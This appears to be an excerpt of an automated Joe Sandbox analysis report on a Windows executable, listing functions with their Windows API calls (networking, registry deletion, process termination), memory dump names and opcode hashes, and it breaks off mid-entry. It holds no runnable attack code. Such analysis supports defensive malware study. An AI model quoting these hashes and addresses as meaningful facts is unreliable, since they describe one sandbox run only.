Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction ID: d05fd80bf7de581d64070d14b8d793b3182e88b2657945d5ab2a319e119a4d4a
Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction Fuzzy Hash: 86419225B49A4681EB70EB2AE890A78B760EBC4FD0F955531CE1E47BA4CF7DE4528310

Function 00007FF7978C37A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978C5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF7978C37FB), ref: 00007FF7978C5E4D

socket.WSOCK32 ref: 00007FF7978C3827
WSAGetLastError.WSOCK32 ref: 00007FF7978C3836

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction ID: 6361dd6864c85b57f674e3228273323baef5a73d89cfc83db7f12ba157e93223
Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction Fuzzy Hash: E2418272A0878286EB30AF35A444AADBB60FB45BE4F844231DE5E43B95CF3CD556C711

Function 00007FF7978DA884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00007FF7978DA8D1
SetMenu.USER32 ref: 00007FF7978DA8E4
GetMenuItemInfoW.USER32 ref: 00007FF7978DA977
IsMenu.USER32 ref: 00007FF7978DA991
CreatePopupMenu.USER32 ref: 00007FF7978DA99B
InsertMenuItemW.USER32 ref: 00007FF7978DA9D1
DrawMenuBar.USER32 ref: 00007FF7978DA9DA

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID:
API String ID: 161812096-0
Opcode ID: f652d99759d139f7e87a15b3a4320fe0bc8d646037924ff5962e8acb98e6298b
Instruction ID: 9022fd1bdc6ce692c2a1a16fae48300a5dd88c7f6619d5fa1642ab2328a74822
Opcode Fuzzy Hash: f652d99759d139f7e87a15b3a4320fe0bc8d646037924ff5962e8acb98e6298b
Instruction Fuzzy Hash: 3E418C36A05B0595EB60EF36D880AAC7BA5FB84BD8FA54031DE5D03764CF38D866C710

Function 00007FF7978D15C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32 ref: 00007FF7978D161B
RegOpenKeyExW.ADVAPI32 ref: 00007FF7978D164F
FreeLibrary.KERNEL32 ref: 00007FF7978D1742

Part of subcall function 00007FF7978D15C4: RegCloseKey.ADVAPI32 ref: 00007FF7978D1675
Part of subcall function 00007FF7978D15C4: FreeLibrary.KERNEL32 ref: 00007FF7978D16D5
Part of subcall function 00007FF7978D15C4: RegEnumKeyExW.ADVAPI32 ref: 00007FF7978D1712

RegDeleteKeyW.ADVAPI32 ref: 00007FF7978D16C1

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: d1d8bf5937bffa04a585e1c3e8d3a5dfb2b3d01d6cd9d7eb2bde5fff57a10d68
Instruction ID: bd01974d86cb0e0a591a5ee1dd488b051fe4de0dd7f912fb7f9a4273ed8cc523
Opcode Fuzzy Hash: d1d8bf5937bffa04a585e1c3e8d3a5dfb2b3d01d6cd9d7eb2bde5fff57a10d68
Instruction Fuzzy Hash: 0A418336A18B8585E730EF61E494BEEA7A0FF89784F840131EA4D07A58DF3DD65AC710

Function 00007FF7978A4FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7978A5028
MultiByteToWideChar.KERNEL32 ref: 00007FF7978A5059
SysAllocString.OLEAUT32 ref: 00007FF7978A5062
SysAllocString.OLEAUT32 ref: 00007FF7978A5086
SysFreeString.OLEAUT32 ref: 00007FF7978A5092
StringFromGUID2.OLE32 ref: 00007FF7978A50B0
SysAllocString.OLEAUT32 ref: 00007FF7978A50BF

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 9216a96fd79d501bc7d7b993b1647fe0d88fe075d6bc30e30818d81539167a03
Instruction ID: eea6adb50ff33da6ffc4aba4880e5e4871b2ef6c05bfbce144e06556d1cea43a
Opcode Fuzzy Hash: 9216a96fd79d501bc7d7b993b1647fe0d88fe075d6bc30e30818d81539167a03
Instruction Fuzzy Hash: 6831C121B08B4685DB74BF22E444969BBA0FF84FD0F888236DA4E43790DF3CE4968314

Function 00007FF7978AFAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7978AFB23
CreatePipe.KERNEL32 ref: 00007FF7978AFB6F

Strings

nul, xrefs: 00007FF7978AFBB3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction ID: 594dcf5faaf465cc69e16f34c781efa1e946615b8fff8df3b07ae7beae04d7ee
Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction Fuzzy Hash: CA318E72A18B4682EB34AB34D414B79A7A0EF85BB8F900330DA7D06BD4DF3CD4568721

Function 00007FF7978AF9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7978AFA11
CreatePipe.KERNEL32 ref: 00007FF7978AFA5D

Strings

nul, xrefs: 00007FF7978AFA99

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction ID: ab5fe7da626b6f6487d1ae794c75c8c8bff53129aa0909e3ec1972e94df56ecc
Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction Fuzzy Hash: E3218221A18B4682E734AB35D414BB9A7A0FF857BCF904331DA6E06BD4DF7CE4168710

Function 00007FF797838F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF797838EBA), ref: 00007FF797838F7D
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF797838EBA), ref: 00007FF797838FBF
ScreenToClient.USER32 ref: 00007FF797838FE5
GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF797838EBA), ref: 00007FF797839175
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF797838EBA), ref: 00007FF79783919E
GetSystemMetrics.USER32 ref: 00007FF79787E005

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Rect$Client$Window$MetricsScreenSystem
String ID:
API String ID: 3220332590-0
Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction ID: 0a028ee75f1bfe10ece27e14d1cb81ddf94fa8b20fca64265ed7404776935625
Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction Fuzzy Hash: ADA1046AA1824389E734AF35C404BBDB7A0FF04B9CF541535DE1A5BB94EA3D9852D330

Function 00007FF79785A054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79785A08F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79785A460
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79785A701

Strings

f, xrefs: 00007FF79785A194
p, xrefs: 00007FF79785A19C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p
API String ID: 3215553584-1290815066
Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction ID: 46f1ba6620c95f77b50c312cfabf1f090eb5b71efd99afddf6118132c393942d
Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction Fuzzy Hash: CE12A521E1C253A5FB30BA34E086E7AFE91EB40794FD44271D699076C4DF3DE5628B22

Function 00007FF7978AD1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978ACA34: GetFullPathNameW.KERNEL32 ref: 00007FF7978ACA62

Part of subcall function 00007FF7978ACA34: GetFullPathNameW.KERNEL32 ref: 00007FF7978ACA77

Part of subcall function 00007FF7978ACED4: GetFileAttributesW.KERNEL32 ref: 00007FF7978ACED8

lstrcmpiW.KERNEL32 ref: 00007FF7978AD277
MoveFileW.KERNEL32 ref: 00007FF7978AD2AA
wcscat.LIBCMT ref: 00007FF7978AD2FB
wcscat.LIBCMT ref: 00007FF7978AD30E
wcscat.LIBCMT ref: 00007FF7978AD324
SHFileOperationW.SHELL32 ref: 00007FF7978AD43E

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: d9598a99559bbce9838ccc8e3f13cd44917abc84097f4dea62aff47b12167531
Instruction ID: 3ae6b12ee2d98ce87e76875f053cdbdb7343bdb6b016552463e21a6d2ea7033c
Opcode Fuzzy Hash: d9598a99559bbce9838ccc8e3f13cd44917abc84097f4dea62aff47b12167531
Instruction Fuzzy Hash: 2E518822A1868295EB34FF70D8406EDA765FF907C4FC00032EA4D5769ADFA8D756C760

Function 00007FF79783D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

%.15g, xrefs: 00007FF79783D554
False, xrefs: 00007FF797889C90
0x%p, xrefs: 00007FF797889CB4
True, xrefs: 00007FF797889C97

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: 23a0e55fda232b1f8127efeb4f7af9ebb45442326d45a8adddcb1748763fba78
Instruction ID: 472d1be3495013b041e5f7a5a31fc46f20a24c7df7480c0bf83f06949e5b6ddd
Opcode Fuzzy Hash: 23a0e55fda232b1f8127efeb4f7af9ebb45442326d45a8adddcb1748763fba78
Instruction Fuzzy Hash: AE51A222B09A0685EB30FB79D0449BCA7A5FB44BD8FD48532DA0E47799CE39D527C360

Function 00007FF797831E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832A54: GetWindowLongPtrW.USER32 ref: 00007FF797832A71

BeginPaint.USER32 ref: 00007FF797831E4C
GetWindowRect.USER32 ref: 00007FF797831EB7
ScreenToClient.USER32 ref: 00007FF797831EDE
SetViewportOrgEx.GDI32 ref: 00007FF797831EF9
EndPaint.USER32 ref: 00007FF797831F5A
Rectangle.GDI32 ref: 00007FF79787A458

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction ID: 9a2d495a8885d21511549673edaf8c9a11a40c78892af025a294fc2b7dcbe5d9
Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction Fuzzy Hash: 59518032A08A8286E730EB29E444B79BB60FB45FD4F914235CA6D47B95CF7DE4528710

Function 00007FF797861E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF797861E90
CreateThread.KERNEL32 ref: 00007FF797861ED4
GetLastError.KERNEL32 ref: 00007FF797861EE2
CloseHandle.KERNEL32 ref: 00007FF797861F01
FreeLibrary.KERNEL32 ref: 00007FF797861F10
ResumeThread.KERNEL32 ref: 00007FF797861F33

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
String ID:
API String ID: 2082702847-0
Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction ID: b5fbcbfdcb9fad72ddef38baed0466820bbe208a9bc40aab0fdba4c3182f913a
Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction Fuzzy Hash: 7E21A425E09F4292EE34BB70A41497DEA90AF447F4F944734DA3D027D6DF3CD4268220

Function 00007FF7978A2240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7978A226B
GetDeviceCaps.GDI32 ref: 00007FF7978A227C
GetDeviceCaps.GDI32 ref: 00007FF7978A228C
ReleaseDC.USER32 ref: 00007FF7978A2299
MulDiv.KERNEL32 ref: 00007FF7978A22AC
MulDiv.KERNEL32 ref: 00007FF7978A22BE

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction ID: a91b6e0efa2024475ed77bbf50d69998351cf9e0b6166fa91f00860cd5d92d70
Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction Fuzzy Hash: 1F11A035B1470182EB28EB719948429AAA1FF89FC0F848138CE0E47B94DF3DD8528710

Function 00007FF7978ADA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF7978ADA2F
SendMessageTimeoutW.USER32 ref: 00007FF7978ADA5C
GetWindowThreadProcessId.USER32 ref: 00007FF7978ADA6F
OpenProcess.KERNEL32 ref: 00007FF7978ADA81
TerminateProcess.KERNEL32 ref: 00007FF7978ADA8F
CloseHandle.KERNEL32 ref: 00007FF7978ADA98

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction ID: 191d520fa165015e4f4932ca7afc0ddaad6f50f5422b65ee016082fb0d760b17
Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction Fuzzy Hash: 1D018F32B1474183EB20BB22EC18E2ABB61FF89BD5F845034CA0A06B14DF7CD1698B10

Function 00007FF79789F378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF79789F3A8
GetWindowThreadProcessId.USER32 ref: 00007FF79789F3B8
GetCurrentThreadId.KERNEL32 ref: 00007FF79789F3C0
GetWindowThreadProcessId.USER32 ref: 00007FF79789F3D0
GetCurrentThreadId.KERNEL32 ref: 00007FF79789F3D8
AttachThreadInput.USER32 ref: 00007FF79789F3E5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction ID: 04019c7f3b76831695287d9f11c1d0a40305a2d78e3e52617193f0cbcc5d130c
Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction Fuzzy Hash: E2F03121F18B5143F7647B71AC58E39AA92BF88784FC45034D90E42B54DF3CE5A68A20

Function 00007FF7978C7E38 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79789B748: CLSIDFromProgID.OLE32 ref: 00007FF79789B771
Part of subcall function 00007FF79789B748: ProgIDFromCLSID.OLE32 ref: 00007FF79789B790
Part of subcall function 00007FF79789B748: lstrcmpiW.KERNEL32 ref: 00007FF79789B7A2
Part of subcall function 00007FF79789B748: CoTaskMemFree.OLE32 ref: 00007FF79789B7B4

Part of subcall function 00007FF79789C034: WNetAddConnection2W.MPR ref: 00007FF79789C143
Part of subcall function 00007FF79789C034: RegConnectRegistryW.ADVAPI32 ref: 00007FF79789C164
Part of subcall function 00007FF79789C034: RegOpenKeyExW.ADVAPI32 ref: 00007FF79789C193
Part of subcall function 00007FF79789C034: RegQueryValueExW.ADVAPI32 ref: 00007FF79789C1CD

CoInitializeSecurity.OLE32 ref: 00007FF7978C7F26
CoCreateInstanceEx.OLE32 ref: 00007FF7978C80C6
CoTaskMemFree.OLE32 ref: 00007FF7978C80D2
CoSetProxyBlanket.OLE32 ref: 00007FF7978C812B

Strings

NULL Pointer assignment, xrefs: 00007FF7978C8148

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
String ID: NULL Pointer assignment
API String ID: 1653399731-2785691316
Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction ID: 002531799da1455f5ff9119c2b8eaa806fd41ecbf4e69e26100e565ede8cb169
Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction Fuzzy Hash: 75B16832A08B418AE720EF75D4809ADBBA0FB847D8F940136EE4D57A58DF38E556CB50

Function 00007FF7978A9898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

